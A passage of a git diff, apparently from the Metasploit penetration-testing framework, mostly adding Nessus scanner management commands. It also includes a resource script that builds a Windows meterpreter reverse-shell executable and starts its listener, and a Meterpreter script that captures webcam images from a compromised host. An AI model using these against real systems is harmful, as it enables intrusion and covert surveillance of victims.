f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Pauses a running scan") + print_status("Use nessus_scan_list to list all available scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_pause <scan id>") + print_status("Use nessus_scan_list to list all available scans") + return + end + pause = @n.scan_pause(sid) + if pause["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been paused") + end + end + + def cmd_nessus_db_scan(*args) + if args[0] == "-h" + print_status("nessus_db_scan <policy ID> <scan name> <scan description>") + print_status() + print_status("Creates a scan based on all the hosts listed in db_hosts.") + print_status("Use nessus_policy_list to list all available policies with their corresponding policy IDs") + return + end + if !nessus_verify_db + return + end + if !nessus_verify_token + return + end + case args.length + when 3 + policy_id = args[0] + name = args[1] + desc = args[3] + else + print_status("Usage: ") + print_status("nessus_db_scan <policy ID> <scan name> <scan description>") + print_status("Use nessus_policy_list to list all available policies with their corresponding policy IDs") + return + end + if !valid_policy(policy_id) + print_error("That policy does not exist.") + return + end + targets = "" + framework.db.hosts(framework.db.workspace).each do |host| + targets << host.address + targets << "," + end + targets.chop! + print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in all the workspaces") + scan = @n.scan_create(policy_id, name, desc, targets) + if !scan["error"] + scan = scan["scan"] + print_status("Scan ID #{scan['id']} successfully created") + print_status("Run nessus_scan_launch #{scan['id']} to launch the scan") + else + print_error(JSON.pretty_generate(scan)) + end + end + + def cmd_nessus_db_import(*args) + if args[0] == "-h" + print_status("nessus_db_import <scan ID>") + print_status("Example:> nessus_db_import 500") + print_status() + print_status("Use nessus_scan_list -c to list all completed scans") + end + if !nessus_verify_db + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + scan_id = args[0] + else + print_status("Usage: ") + print_status("nessus_db_import <scan ID>") + print_status("Example:> nessus_db_import 500") + print_status() + print_status("Use nessus_scan_list -c to list all completed scans") + end + if is_scan_complete(scan_id) + print_status("Exporting scan ID #{scan_id} is Nessus format...") + export = @n.scan_export(scan_id, 'nessus') + if export["file"] + file_id = export["file"] + print_good("The export file ID for scan ID #{scan_id} is #{file_id}") + print_status("Checking export status...") + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_status("The status of scan ID #{scan_id} export is ready") + select(nil, nil, nil, 5) + report = @n.report_download(scan_id, file_id) + print_status("Importing scan results to the database...") + framework.db.import({:data => report}) do |type,data| + case type + when :address + print_status("Importing data of #{data}") + end + end + print_good("Done") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_error(export) + end + else + print_error("Only completed scans could be used for import") + end + + end + + def is_scan_complete(scan_id) + complete = false + status = @n.scan_list + status["scans"].each { |scan| + if scan["id"] == scan_id.to_i && scan["status"] == "completed" + complete = true + end + } + complete + end + + def cmd_nessus_scan_pause_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_pause_all") + print_status("Example:> nessus_scan_pause_all") + print_status() + print_status("Pauses all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "running" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_pause(scan_id) + } + print_status("All scans have been paused") + else + print_error("No running scans") + end + end + + def cmd_nessus_scan_stop(*args) + if args[0] == "-h" + print_status("nessus_scan_stop <scan id>") + print_status("Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Stops a currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_stop <scan id>") + print_status("Use nessus_scan_list to list all available scans") + return + end + stop = @n.scan_stop(sid) + if stop["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been stopped") + end + end + + def cmd_nessus_scan_stop_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_stop_all") + print_status("Example:> nessus_scan_stop_all") + print_status() + print_status("stops all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "running" || scan["status"] == "paused" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_stop(scan_id) + } + print_status("All scans have been stopped") + else + print_error("No running or paused scans to be stopped") + end + end + + def cmd_nessus_scan_resume(*args) + if args[0] == "-h" + print_status("nessus_scan_resume <scan id>") + print_status("Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("resumes a running scan") + print_status("Use nessus_scan_list to list all available scans") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status("nessus_scan_resume <scan id>") + print_status("Use nessus_scan_list to list all available scans") + return + end + resume = @n.scan_resume(sid) + if resume["error"] + print_error "Invalid scan ID" + else + print_status("#{sid} has been resumed") + end + end + + def cmd_nessus_scan_resume_all(*args) + scan_ids = Array.new + if args[0] == "-h" + print_status("nessus_scan_resume_all") + print_status("Example:> nessus_scan_resume_all") + print_status() + print_status("resumes all currently running scans") + print_status("Use nessus_scan_list to list all running scans") + return + end + if !nessus_verify_token + return + end + list = @n.scan_list + list["scans"].each { |scan| + if scan["status"] == "paused" + scan_ids << scan["id"] + end + } + if scan_ids.length > 0 + scan_ids.each { |scan_id| + @n.scan_resume(scan_id) + } + print_status("All scans have been resumed") + else + print_error("No running scans to be resumed") + end + end + + def cmd_nessus_scan_details(*args) + if args[0] == "-h" + print_status("nessus_scan_details <scan ID> <category>") + print_status("Availble categories are info, hosts, vulnerabilities, and history") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + category = args[1] + if category.in?(['info', 'hosts', 'vulnerabilities', 'history']) + category = args[1] + else + print_error("Invalid category. The available categories are info, hosts, vulnerabilities, and history") + return + end + else + print_status("Usage: ") + print_status("nessus_scan_details <scan ID> <category>") + print_status("Availble categories are info, hosts, vulnerabilities, and history") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + details = @n.scan_details(scan_id) + if category == "info" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Status", + "Policy", + "Scan Name", + "Scan Targets", + "Scan Start Time", + "Scan End Time" + ]) + tbl << [ details["info"]["status"], details["info"]["policy"], details["info"]["name"], details["info"]["targets"], details["info"]["scan_start"], details["info"]["scan_end"] ] + elsif category == "hosts" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Host ID", + "Hostname", + "% of Critical Findings", + "% of High Findings", + "% of Medium Findings", + "% of Low Findings" + ]) + details["hosts"].each { |host| + tbl << [ host["host_id"], host["hostname"], host["critical"], host["high"], host["medium"], host["low"] ] + } + elsif category == "vulnerabilities" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Plugin ID", + "Plugin Name", + "Plugin Family", + "Count" + ]) + details["vulnerabilities"].each { |vuln| + tbl << [ vuln["plugin_id"], vuln["plugin_name"], vuln["plugin_family"], vuln["count"] ] + } + elsif category == "history" + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "History ID", + "Status", + "Creation Date", + "Last Modification Date" + ]) + details["history"].each { |hist| + tbl << [ hist["history_id"], hist["status"], hist["creation_date"], hist["modification_date"] ] + } + end + print_line tbl.to_s + end + + def cmd_nessus_scan_export(*args) + if args[0] == "-h" + print_status("nessus_scan_export <scan ID> <export format>") + print_status("The available export formats are Nessus, HTML, PDF, CSV, or DB") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + format = args[1].downcase + else + print_status("Usage: ") + print_status("nessus_scan_export <scan ID> <export format>") + print_status("The available export formats are Nessus, HTML, PDF, CSV, or DB") + print_status("Use nessus_scan_list to list all available scans with their corresponding scan IDs") + return + end + if format.in?(['nessus','html','pdf','csv','db']) + export = @n.scan_export(scan_id, format) + if export["file"] + file_id = export["file"] + print_good("The export file ID for scan ID #{scan_id} is #{file_id}") + print_status("Checking export status...") + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_good("The status of scan ID #{scan_id} export is ready") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_error(export) + end + else + print_error("Invalid export format. The available export formats are Nessus, HTML, PDF, CSV, or DB") + return + end + end + + def cmd_nessus_scan_export_status(*args) + if args[0] == "-h" + print_status("nessus_scan_export_status <scan ID> <file ID>") + print_status("Use nessus_scan_export <scan ID> <format> to export a scan and get its file ID") + end + if !nessus_verify_token + return + end + case args.length + when 2 + scan_id = args[0] + file_id = args[1] + status = @n.scan_export_status(scan_id, file_id) + if status == "ready" + print_status("The status of scan ID #{scan_id} export is ready") + else + print_error("There was some problem in exporting the scan. The error message is #{status}") + end + else + print_status("Usage: ") + print_status("nessus_scan_export_status <scan ID> <file ID>") + print_status("Use nessus_scan_export <scan ID> <format> to export a scan and get its file ID") + end + end + + def cmd_nessus_plugin_list(*args) + if args[0] == "-h" + print_status("nessus_plugin_list <Family ID>") + print_status("Example:> nessus_plugin_list 10") + print_status() + print_status("Returns a list of all plugins in that family.") + print_status("Use nessus_family_list to display all the plugin families along with their corresponding family IDs") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + family_id = args[0] + else + print_status("Usage: ") + print_status("nessus_plugin_list <Family ID>") + print_status("Use nessus_family_list to display all the plugin families along with their corresponding family IDs") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin ID', + 'Plugin Name' + ]) + list = @n.list_plugins(family_id) + list["plugins"].each { |plugin| + tbl << [ plugin["id"], plugin["name"] ] + } + print_line + print_good("Plugin Family Name: #{list['name']}") + print_line + print_line tbl.to_s + end + + def cmd_nessus_family_list(*args) + if args[0] == "-h" + print_status("nessus_family_list") + print_status("Example:> nessus_family_list") + print_status() + print_status("Returns a list of all the plugin families along with their corresponding family IDs and plugin count.") + return + end + list = @n.list_families + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Family ID', + 'Family Name', + 'Number of Plugins' + ]) + list.each { |family| + tbl << [ family["id"], family["name"], family["count"] ] + } + print_line + print_line tbl.to_s + end + + def cmd_nessus_plugin_details(*args) + if args[0] == "-h" + print_status("nessus_plugin_details <Plugin ID>") + print_status("Example:> nessus_plugin_details 10264") + print_status() + print_status("Returns details on a particular plugin.") + print_status("Use nessus_plugin_list to list all plugins and their corresponding plugin IDs belonging to a particular plugin family.") + return + end + if !nessus_verify_token + return + end + case args.length + when 1 + plugin_id = args[0] + else + print_status("Usage: ") + print_status("nessus_plugin_details <Plugin ID>") + print_status("Use nessus_plugin_list to list all plugins and their corresponding plugin IDs belonging to a particular plugin family.") + return + end + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Reference', + 'Value' + ]) + begin + list = @n.plugin_details(plugin_id) + rescue ::Exception => e + if e.message =~ /unexpected token/ + print_error("No plugin info found") + return + else + raise e + end + end + list["attributes"].each { |attrib| + tbl << [ attrib["attribute_name"], attrib["attribute_value"] ] + } + print_line + print_good("Plugin Name: #{list['name']}") + print_good("Plugin Family: #{list['family_name']}") + print_line + print_line tbl.to_s + end + + def cmd_nessus_user_list(*args) + if args[0] == "-h" + print_status("nessus_user_list") + print_status("Example:> nessus_user_list") + print_status() + print_status("Returns a list of the users on the Nessus server and their access level.") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_status("Your Nessus user is not an admin") + end + list=@n.list_users + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Username', + 'Type', + 'Email', + 'Permissions' + ]) + list["users"].each { |user| + tbl << [ user["id"], user["name"], user["username"], user["type"], user["email"], user["permissions"] ] + } + print_line + print_line tbl.to_s + end + + def cmd_nessus_user_add(*args) + if args[0] == "-h" + print_status("nessus_user_add <username> <password> <permissions> <type>") + print_status("Permissions are 32, 64, and 128") + print_status("Type can be either local or LDAP") + print_status("Example:> nessus_user_add msf msf 16 local") + print_status("You need to be an admin in order to add accounts") + print_status("Use nessus_user_list to list all users") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin print_error("Your Nessus user is not an admin") return end + case args.length + when 4 + user = args[0] + pass = args[1] + permissions = args[2] + type = args[3] + else + print_status("Usage") + print_status("nessus_user_add <username> <password> <permissions> <type>") + return + end + add = @n.user_add(user,pass,permissions,type) + if add["id"] + print_good("#{user} created successfully") + else + print_error(add.to_s) + end + end + + def cmd_nessus_user_del(*args) + if args[0] == "-h" + print_status("nessus_user_del <User ID>") + print_status("Example:> nessus_user_del 10") + print_status() + print_status("This command can only delete non admin users. You must be an admin to delete users.") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 1 + user_id = args[0] + else + print_status("Usage: ") + print_status("nessus_user_del <User ID>") + print_status("This command can only delete non admin users") + return + end + del = @n.user_delete(user_id) + status = del.to_s + if status == "200" + print_good("User account having user ID #{user_id} deleted successfully") + elsif status == "403" + print_error("You do not have permission to delete the user account having user ID #{user_id}") + elsif status == "404" + print_error("User account having user ID #{user_id} does not exist") + elsif status == "409" + print_error("You cannot delete your own account") + elsif status == "500" + print_error("The server failed to delete the user account having user ID #{user_id}") + else + print_error("Unknown problem occured by deleting the user account having user ID #{user_id}.") + end + end + + def cmd_nessus_user_passwd(*args) + if args[0] == "-h" + print_status("nessus_user_passwd <User ID> <New Password>") + print_status("Example:> nessus_user_passwd 10 mynewpassword") + print_status("Changes the password of a user. You must be an admin to change passwords.") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 2 + user_id = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status("nessus_user_passwd <User ID> <New Password>") + print_status("Use nessus_user_list to list all users with their corresponding user IDs") + return + end + pass = @n.user_chpasswd(user_id,pass) + status = pass.to_s + if status == "200" + print_good("Password of account having user ID #{user_id} changed successfully") + elsif status == "400" + print_error("Password is too short") + elsif status == "403" + print_error("You do not have the permission to change password for the user having user ID #{user_id}") + elsif status == "404" + print_error("User having user ID #{user_id} does not exist") + elsif status == "500" + print_error("Nessus server failed to changed the user password") + else + print_error("Unknown problem occured while changing the user password") + end + end + + def cmd_nessus_policy_list(*args) + if args[0] == "-h" + print_status("nessus_policy_list") + print_status("Example:> nessus_policy_list") + print_status() + print_status("Lists all policies on the server") + return + end + if !nessus_verify_token + return + end + list=@n.list_policies + + unless list["policies"] + print_error("No policies found") + return + end tbl = Rex::Ui::Text::Table.new( 'Columns' => [ + 'Policy ID', 'Name', - 'Value', - 'Type' + 'Policy UUID' ]) - prefs = @n.plugin_prefs - prefs.each {|pref| - tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] + list["policies"].each { |policy| + tbl << [ policy["id"], policy["name"], policy["template_uuid"] ] } - print_good("Nessus Plugins Pref List") - print_good "\n" print_line tbl.to_s end + + def cmd_nessus_policy_del(*args) + if args[0] == "-h" + print_status("nessus_policy_del <policy ID>") + print_status("Example:> nessus_policy_del 1") + print_status() + print_status("You must be an admin to delete policies.") + print_status("Use nessus_policy_list to list all policies with their corresponding policy IDs") + return + end + if !nessus_verify_token + return + end + if !@n.is_admin + print_error("Your Nessus user is not an admin") + return + end + case args.length + when 1 + policy_id = args[0] + else + print_status("Usage: ") + print_status("nessus_policy_del <policy ID>") + print_status("Use nessus_policy_list to list all the policies with their corresponding policy IDs") + return + end + del = @n.policy_delete(policy_id) + status = del.to_s + if status == "200" + print_good("Policy ID #{policy_id} successfully deleted") + elsif status == "403" + print_error("You do not have permission to delete policy ID #{policy_id}") + elsif status == "404" + print_error("Policy ID #{policy_id} does not exist") + elsif status == "405" + print_error("Policy ID #{policy_id} is currently in use and cannot be deleted") + else + print_error("Unknown problem occured by deleting the user account having user ID #{user_id}.") + end + end + + def valid_policy(*args) + case args.length + when 1 + pid = args[0] + else + print_error("No Policy ID supplied.") + return + end + pol = @n.list_policies + pol["policies"].each { |p| + if p["template_uuid"] == pid + return true + end + } + return false + end + + def nessus_verify_db + if !(framework.db and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + true + end end def initialize(framework, opts) super - add_console_dispatcher(ConsoleCommandDispatcher) - @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf - @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds - print_status("Nessus Bridge for Metasploit #{@nbver}") - print_good("Type %bldnessus_help%clr for a command listing") - #nessus_index + print_status(PLUGIN_DESCRIPTION) + print_status("Type %bldnessus_help%clr for a command listing") end def cleanup remove_console_dispatcher('Nessus') end - - def name - "nessus" - end - - def desc - "Nessus Bridge for Metasploit #{@nbver}" - end - protected end end diff --git a/plugins/socket_logger.rb b/plugins/socket_logger.rb index 3666f334ee..d608e039cc 100644 --- a/plugins/socket_logger.rb +++ b/plugins/socket_logger.rb @@ -31,19 +31,18 @@ class Plugin::SocketLogger < Msf::Plugin def on_socket_created(comm, sock, param) # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + if param.context and param.context['MsfExploit'] and (! param.context['MsfPayload']) sock.extend(SocketLogger::SocketTracer) sock.context = param.context sock.params = param sock.initlog(@path, @prefix) - end end end def initialize(framework, opts) - log_path = opts['path'] || "/tmp" + log_path = opts['path'] || Msf::Config.log_directory log_prefix = opts['prefix'] || "socket_" super @@ -60,7 +59,7 @@ class Plugin::SocketLogger < Msf::Plugin end def desc - "Logs all socket operations to hex dumps in /tmp" + "Log socket operations to a directory as individual files" end protected @@ -78,17 +77,16 @@ module SocketTracer # Hook the write method def write(buf, opts = {}) - @fd.puts "WRITE (#{buf.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(buf) + @fd.puts "WRITE\t#{buf.length}\t#{Rex::Text.encode_base64(buf)}" + @fd.flush super(buf, opts) end # Hook the read method def read(length = nil, opts = {}) r = super(length, opts) - - @fd.puts "READ (#{r.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(r) + @fd.puts "READ\t#{ r ? r.length : 0}\t#{Rex::Text.encode_base64(r.to_s)}" + @fd.flush return r end @@ -97,15 +95,28 @@ module SocketTracer @fd.close end + def format_socket_conn + "#{params.proto.upcase} #{params.localhost}:#{params.localport} > #{params.peerhost}:#{params.peerport}" + end + + def format_module_info + return "" unless params.context and params.context['MsfExploit'] + if params.context['MsfExploit'].respond_to? :fullname + return "via " + params.context['MsfExploit'].fullname + end + "via " + params.context['MsfExploit'].to_s + end + def initlog(path, prefix) @log_path = path @log_prefix = prefix @log_id = @@last_id @@last_id += 1 @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") - @fd.puts "Socket created at #{Time.now}" - @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" + @fd.puts "Socket created at #{Time.now} (#{Time.now.to_i})" + @fd.puts "Info: #{format_socket_conn} #{format_module_info}" @fd.puts "" + @fd.flush end end diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index bc878ef09d..e52da0a992 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -20,15 +20,17 @@ opts = Rex::Parser::Arguments.new( "-q" => [ true, "The JPEG image quality (Default: 50)" ], "-g" => [ false, "Send to GUI instead of writing to file" ], "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ], + "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ] ) - +iterator = 0 folderpath = "." single = false quality = 50 index = 1 interval = 1000 gui = false +saveAll = false opts.parse(args) { |opt, idx, val| case opt when "-h" @@ -53,6 +55,8 @@ opts.parse(args) { |opt, idx, val| print_line("[*] Stopping webcam") client.webcam.webcam_stop raise Rex::Script::Completed + when "-a" + saveAll = true end } @@ -79,7 +83,8 @@ begin 'PeerPort' => 16235 ) end - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" + print_line( "[*] imagepath is #{imagepath}" ) htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" begin if single == true @@ -97,8 +102,8 @@ begin else if(!gui) ::File.open(htmlpath, 'wb' ) do |fd| - fd.write('<html><body><img src="webcam.jpg"></img><script>'+ - "setInterval('location.reload()',#{interval});</script></body><html>" ) + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" + fd.write(htmlOut) end print_line( "[*] View live stream at: #{htmlpath}" ) Rex::Compat.open_file(htmlpath) @@ -111,7 +116,15 @@ begin else ::File.open( imagepath, 'wb' ) do |fd| fd.write( data ) - end + ::File.open(htmlpath, 'wb' ) do |fd| + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" + fd.write(htmlOut) + if(saveAll) + iterator = iterator + 1 + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" + end + end + end end select(nil, nil, nil, interval/1000.0) end diff --git a/scripts/resource/auto_win32_multihandler.rc b/scripts/resource/auto_win32_multihandler.rc new file mode 100644 index 0000000000..2da32a1d70 --- /dev/null +++ b/scripts/resource/auto_win32_multihandler.rc @@ -0,0 +1,28 @@ +<ruby> +PAYLOAD = 'windows/meterpreter/reverse_tcp' + +def payload_lhost + framework.datastore['LHOST'] || Rex::Socket.source_address +end + +def payload_lport + framework.datastore['LPORT'] || 4444 +end + +def out_path + "#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe" +end + +run_single("use payload/#{PAYLOAD}") +run_single("set lhost #{payload_lhost}") +run_single("set lport #{payload_lport}") +run_single("generate -t exe -f #{out_path}") +print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}") +print_status("#{PAYLOAD} is at #{out_path}") +run_single('use exploit/multi/handler') +run_single("set payload #{PAYLOAD}") +run_single("set lhost #{payload_lhost}") +run_single("set lport #{payload_lport}") +run_single('set exitonsession false') +run_single('run -j') +</ruby> \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb new file mode 100644 index 0000000000..523b8288d5 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/chef_webui_spec.rb @@ -0,0 +1,182 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/chef_webui' + +describe Metasploit::Framework::LoginScanner::ChefWebUI do + + subject(:http_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + let(:username) do + 'admin' + end + + let(:password) do + 'password' + end + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:bad_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'bad', + private: 'bad' + ) + end + + let(:disabled_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username_disabled, + private: password_disabled + ) + end + + let(:res_code) do + 200 + end + + context '#send_request' do + let(:req_opts) do + {'uri'=>'/users/sign_in', 'method'=>'GET'} + end + + it 'returns a Rex::Proto::Http::Response object' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + expect(http_scanner.send_request(req_opts)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'parses session cookies' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new(res_code)) + allow_any_instance_of(Rex::Proto::Http::Response).to receive(:get_cookies).and_return("_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + http_scanner.send_request(req_opts) + expect(http_scanner.session_name).to eq("_sandbox_session") + expect(http_scanner.session_id).to eq("c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e") + end + end + + context '#try_credential' do + it 'sends a login request to /users/login_exec' do + expect(http_scanner).to receive(:send_request).with(hash_including('uri'=>'/users/login_exec')) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + + it 'sends a login request containing the username and password' do + expect(http_scanner).to receive(:send_request).with(hash_including('data'=>"utf8=%E2%9C%93&authenticity_token=byV12YkMA6NV3zJFqclZjy1JR%2bAZYbCx75gT0dipoAo%3d&name=#{username}&password=#{password}&commit=login")) + http_scanner.try_credential('byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=', cred) + end + end + + context '#try_login' do + + let(:login_ok_message) do + 'New password for the User' + end + + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + if req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') && + req.opts['data'] && + req.opts['data'].include?("name=#{username}") && + req.opts['data'].include?("password=#{password}") + res = Rex::Proto::Http::Response.new(302) + res.headers['Location'] = "/users/#{username}/edit" + res.headers['Set-Cookie'] = '_sandbox_session=c2g2ZXVhZWRpU1RMTDg1SmkyS0pQVnUwYUFCcDZJYklwb2gyYmhZd2dvcGI3b2VSaWd6L0Q4SkVOaytKa1VPNmd0R01HRHFabnFZZ09YUVZhVHFPWnhRdkZTSHF6VnpCU1Y3VFRRcTEyV0xVTUtLNlZIK3VBM3V2ZlFTS2FaOWV3cjlPT2RLRlZIeG1UTElMY3ozUEtIOFNzWkFDbW9VQ1VpRlF6ZThiNXZHbmVudWY0Nk9PSSsxSFg2WVZjeklvLS1UTk1GU2x6QXJFR3lFSjNZL0JhYzBRPT0%3D--6f0cc3051739c8a95551339c3f2a084e0c30924e' + res + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login') + res = Rex::Proto::Http::Response.new(200) + res.body = '<input name="authenticity_token" type="hidden" value="byV12YkMA6NV3zJFqclZjy1JR+AZYbCx75gT0dipoAo=" />' + elsif req.opts['uri'] && req.opts['uri'].include?('/users/login_exec') + res = Rex::Proto::Http::Response.new(200) + res.body = 'bad login' + elsif req.opts['uri'] && + req.opts['uri'].include?("/users/#{username}/edit") + res = Rex::Proto::Http::Response.new(200) + res.body = 'New password for the User' + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL for a valid credential' do + expect(http_scanner.try_login(cred)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + + it 'returns Metasploit::Model::Login::Status::INCORRECT for an invalid credential' do + expect(http_scanner.try_login(bad_cred)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + context '#attempt_login' do + context 'when Rex::Proto::Http::Client#connect raises a Rex::ConnectionError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a Timeout::Error' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when Rex::Proto::Http::Client#connect raises a EOFError' do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(http_scanner.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context 'when 